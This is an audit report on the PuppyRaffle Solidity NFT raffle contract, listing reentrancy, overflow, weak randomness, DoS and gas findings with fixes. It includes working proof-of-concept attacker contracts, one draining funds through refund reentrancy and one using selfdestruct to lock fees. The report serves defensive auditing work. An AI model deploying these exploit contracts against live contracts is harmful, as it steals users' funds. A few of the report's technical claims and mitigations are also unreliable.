title: Protocol Audit Report

author: Tonchi

date: 26 feb, 2024

Prepared by: Parth-Sharma-Tonchi

Lead Auditors:

- Tonchi

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the enterRaffle function with the following parameters: address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends. Duplicate addresses are not allowed Users are allowed to get a refund of their ticket & value if they call the refund function Every X seconds, the raffle will be able to draw a winner and be minted a random puppy The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Tonchi makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

-Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f -In Scope:

```
./src/
@> PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.

Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	1
Gas	4
Total	13

Findings

High

[H-1] `PuppyRaffle::feeAddress` should be marked as payable, it fails the transaction everytime.

Description: `PuppyRaffle::feeAddress` is not marked as payable while declaring, nor while calling call to pay funds to it in `PuppyRaffle::withdrawFees()` function.

Impact: The Transaction Fails everytime we call withdraws fees. And the protocol is unable to withdraw 20% of amount which is a huge number.

Recommended Mitigation: Cast `PuppyRaffle::feeAddress` as payable address.

```
(bool success,) = payable(feeAddress).call{value: feesToWithdraw}("");
```

[H-2] Reentrancy in `PuppyRaffle::refund(uint256)` function, Can be lose funds.

Description: `PuppyRaffle::refund(uint256)` function is intended to refund the active player of raffle. This function call sendValue to send amount to `msg.sender/playerAddress`. Then change the state of the contract which can lead to reenter the playerAddress multiple times to recieve funds from the contract.

▶ Proof of Code

```
    function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);

        address attacker = makeAddr("attacker");
        vm.deal(attacker, entranceFee);

        ReentrancyAttacker attackContract = new
ReentrancyAttacker(puppyRaffle);
        console.log("Starting contract balance : ",
address(puppyRaffle).balance);
        console.log("Starting AttackContract Balance : ",
address(attackContract).balance);
        console.log("Starting Attacker Balance : ", attacker.balance);

        vm.prank(attacker);
        attackContract.attack{value: entranceFee}();
        console.log("Ending contract balance : ",
address(puppyRaffle).balance);
        console.log("Ending AttackContract Balance : ",
address(attackContract).balance);
        console.log("Ending Attacker Balance : ", attacker.balance);

        assertEq(address(puppyRaffle).balance, 0);
    }


    contract ReentrancyAttacker {

    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory attacker = new address[](1);
        attacker[0] = address(this);

        puppyRaffle.enterRaffle{value: entranceFee}(attacker);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }

}

```

Impact: Reentrancy can affect funds of this contract. It drains all the money associated with it and this break the intension of protocol.

Recommended Mitigation: For a function to prevent from reentrancy. Use `ReentrancyGuard` from openzeppelin libraries. Or we use `CEI` for functions, it is checks first then effect then external interactions. Below is the use of `CEI` on refund function:

▶ Code Mitigation

```
    function refund(uint256 playerIndex) public {
            address playerAddress = players[playerIndex];

            //checks
            require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
            require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

            //effects
            players[playerIndex] = address(0);

            //External Interactions
            payable(msg.sender).sendValue(entranceFee);

            emit RaffleRefunded(playerAddress);
        }
```

[H-3] Integer Overflow of `PuppyRaffle::totalFees`, funds can be lost.

Description: In `PuppyRaffle` we use `0.7.6` solc version, which can't revert on overflow. `PuppyRaffle::totalFees` is `uint64` the max value of it is `18446744073709551615`. If we have more than 18 eth to store at `PuppyRaffle::totalFees` then it overflows and we lost our funds.

Impact: A huge amount of funds can be lost because of overflow.

Recommended Mitigation: Use newer versions of solidity, these version revert if value gets bigger than expected, or use bigger uints(like uint256). Because `uint256` have higher maximum value(115792089237316195423570985008687907853269984665640564039457584007913129639935), here we can store `115792089237316195423570985008687907853269984665640564039457` amount of eth.

[H-4] Weak Randomness, can predict winner.

Description: In `PuppyRaffle::selectWinner` `abi.encodePacked(msg.sender, block.timestamp, block.difficulty)` all these three can be predictable, a mallicious address can predict block.timestamp and block.difficulty and msg.sender address can be mined. The address hit `PuppyRaffle::selectWinner` function if block.timestamp and difficulty aren't expected, mallicious user can revert the transaction and hit the function again and again untill the expected outcomes. See the [solidity blog on prevrandao] https://soliditydeveloper.com/prevrandao

Note This additionally means user can front-run and call the `refund` function, if they are not the winner.

Impact: Any user can influence the winner, winning the money and NFT associated with it.

Recommended Mitigation: Use a verifiably random number function generator on-chain. like - Chainlink VRF

Medium

[M-1] - The private variables are not private on-chain, anyone can see the private variable on-chain

Instances: -`PuppyRaffle::commonImageUri` is private, but can be accessible on-chain.
-`PuppyRaffle::rareImageUri` is private, but can be accessible on-chain.
-`PuppyRaffle::legendaryImageUri` is private, but can be accessible on-chain.

Description This protocol is intended to give NFT to winner according to rarity. But if tokenId of these NFT is not private on-chain. Anyone can access it and it breaks intension of protocol.

Impact: ImageUri can be accessible onchain, it breaks the intension of protocol to select a winner and mint NFT to winner.

Recommended Mitigation: Pass these three instances in constructor and then initialize, It should lower the potential security risk.

[M-2] Unsafe cast, Leads to loss of funds

Description: In `PuppyRaffle::selectWinner()` function `uint256 fee` variable is typecast from `uint256` to `uint64`. The max value of `uint64` is only 18 eth. If `uint256 fee` variable value is 20 eth and we typecast it into `uint64` then it overflows and remains only 1.5 eth. We lost our funds.

▶ Proof of Code

➜ uint64 myuint64 = type(uint64).max
➜ `uint256 ethamount = 20e18`
➜ ethamount
Type: uint256
├ Hex: 0x000000000000000000000000000000000000000000000001158e460913d00000
├ Hex (full word): 0x000000000000000000000000000000000000000000000001158e460913d00000

└ Decimal: `20000000000000000000`
➜ `uint64 typecastedEthAmount = uint64(ethamount)`
➜ `typecastedEthAmount` Type: uint64
├ Hex: 0x158e460913d00000
├ Hex (full word): 0x000000000000000000000000000000000000000000000000158e460913d00000
└ Decimal: `1553255926290448384`

Impact: A huge amount of funds can be lost because of overflow occured by unsafe casting.

Recommended Mitigation: Use bigger uints instead.

[M-3] Mishandling Eth, `PuppyRaffle::totalFees` can be block inside contract.

Description: while `PuppyRaffle::withdrawFees()` the check `address(this).balance == uint256(totalFees)` can be a potential risk for `PuppyRaffle::withdrawFees()` because first we can't withdraw if any single player is active which is intended, but also a high potential risk of not withdrawing fees ever, if any contract push money forcefully by selfDestruct, then this check `address(this).balance == uint256(totalFees)` always false and the function revert anytime we call it.

▶ Proof of Code

```

    function withdrawFees() external {

            require(address(this).balance == uint256(totalFees),
  "PuppyRaffle: There are currently players active!");
            uint256 feesToWithdraw = totalFees;
            totalFees = 0;
            (bool success,) = feeAddress.call{value: feesToWithdraw}("");
            require(success, "PuppyRaffle: Failed to withdraw fees");
        }


    contract attacker {
        selfDestructMe target;

        constructor(selfDestructMe _target) payable {
            target = _target;
        }

        function attack() external payable{
            selfdestruct(payable(address(target)));
        }
    }
```

Impact: Funds associated with `PuppyRaffle::totalFees` will not be withdrawn. Funds blocked within the contract.

Recommended Mitigation:

```
        function withdrawFees() external {

 -            require(address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!");
            uint256 feesToWithdraw = totalFees;
            totalFees = 0;
            (bool success,) = feeAddress.call{value: feesToWithdraw}("");
            require(success, "PuppyRaffle: Failed to withdraw fees");
        }
```

[M-4] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS vector, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means that the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

Impact: The impact is two-fold.

```
- The gas costs for raffle entrants will greatly increase as more players
enter the raffle.
```

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: 6252039
- 2nd 100 players: 18067741

This is more than 3x as expensive for the second set of 100 players!

This is due to the for loop in the `PuppyRaffle::enterRaffle` function.

```
        // Check for duplicates
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Proof of Code
@> Run this test:

```
    function testDoSAttack1() public {
        vm.txGasPrice(1);

        address[] memory first100players = new address[](100);
        for (uint256 i; i < first100players.length; ++i) {
            first100players[i] = address(i + 1);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee *
first100players.length}(first100players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost for first 100 players :", gasUsedFirst);

        address[] memory second100players = new address[](100);
        for (uint256 i; i < second100players.length; ++i) {
            second100players[i] = address(i + 101);
        }
        uint256 gasStartsecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee *
second100players.length}(second100players);
        uint256 gasEndsecond = gasleft();
        uint256 gasUsedSecond = (gasStartsecond - gasEndsecond) *
tx.gasprice;
        console.log("Gas cost for second 100 players :", gasUsedSecond);
        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation:

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }
```

```diff
-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
```

Low

[L-1] In `puppyRaffle::getActivePlayerIndex` return zero for first player also, mislead the player.

Description: In `puppyRaffle::getActivePlayerIndex` first player index is 0 and if anyone not in raffle also get 0. It misleads the first player that one not participated in raffle and transact `puppyRaffle::enterRaffle` multiple times which cost gas.

Impact: Misleads the user at index 0 and increase trasaction cost for one.

Recommended Mitigation: Remove `return 0` code line or take 0 as occupied index so that first user have index 1 starting from.

Gas

[G-1] Don't need to initialize variables with default value, took gas

Instances:

- `uint64 public totalFees = 0;`, It is a state variable.
- `for (uint256 i = 0; i < newPlayers.length; i++) {`, In `PuppyRaffle:enterRaffle` function.
- `for (uint256 i = 0; i < players.length - 1; i++) {`, In `PuppyRaffle:enterRaffle` function.
- `for (uint256 i = 0; i < players.length; i++) {`, In `PuppyRaffle:getActivePlayerIndex` function.

- `for (uint256 i = 0; i < players.length; i++) {`, In `PuppyRaffle:_isActivePlayer` function.

Description: In `PuppyRaffle:totalFees` is initialized with `0`, which take unneccessary gas.

Impact: It took uneccessary gas.

Proof of Concept: Initialize variables in storage takes gas, which have already same value assigned to them.

Recommended Mitigation: Use `uint256 i` instead of `uint256 i = 0`.

[G-2] Constant variables should be marked constant, take more gas.

Description: Constants should be marked constant to prevent uses of unneccessary gas, it saves much gas.

- Instances
  - string private commonImageUri = "ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
  - string private rareImageUri = "ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
  - string private legendaryImageUri = "ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";

Impact: It costs much more gas to store at storage.

Recommended Mitigation: Marked these variables as constant variables.

[G-3] String errors are used in `PuppyRaffle`, takes much more gas.

Description: Custom errors saves much more gas, using string errors saves whole string in storage which isn't a appropriate method to use. Custom error enhanced debugging, type safety, clarity and readability, Better error handling also.

- Instances in `puppyRaffle`
  - require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
  - require(players[i] != players[j], "PuppyRaffle: Duplicate player");
  - require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
  - require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
  - require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
  - require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
  - require(success, "PuppyRaffle: Failed to send prize pool to winner");
  - require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
  - require(success, "PuppyRaffle: Failed to withdraw fees");

Impact: Custom errors saves much more gas, using string errors saves whole string in storage which isn't a appropriate method to use.

Recommended Mitigation: Use custom errors instead of string errors.

[G-4] Reading array from storage while looping, takes high transaction cost.

Description: Reading from storage takes nearly around 200 gas, so we should initialize a copy array read once from storage and than during iteration read from memory which is more gas efficient for us.

- Instances
  - for (uint256 j = i + 1; j < players.length; j++) { : In `puppyRaffle::enterRaffle`
  - for (uint256 i = 0; i < players.length; i++) { : In `puppyRaffle::getActivePlayerIndex`
  - for (uint256 i = 0; i < players.length; i++) { : In `puppyRaffle::_IsPlayerIndex`

Impact: It takes high trasaction cost to read from storage during each iteration in a loop.

Recommended Mitigation: Use a copy array which declared as in `memory`.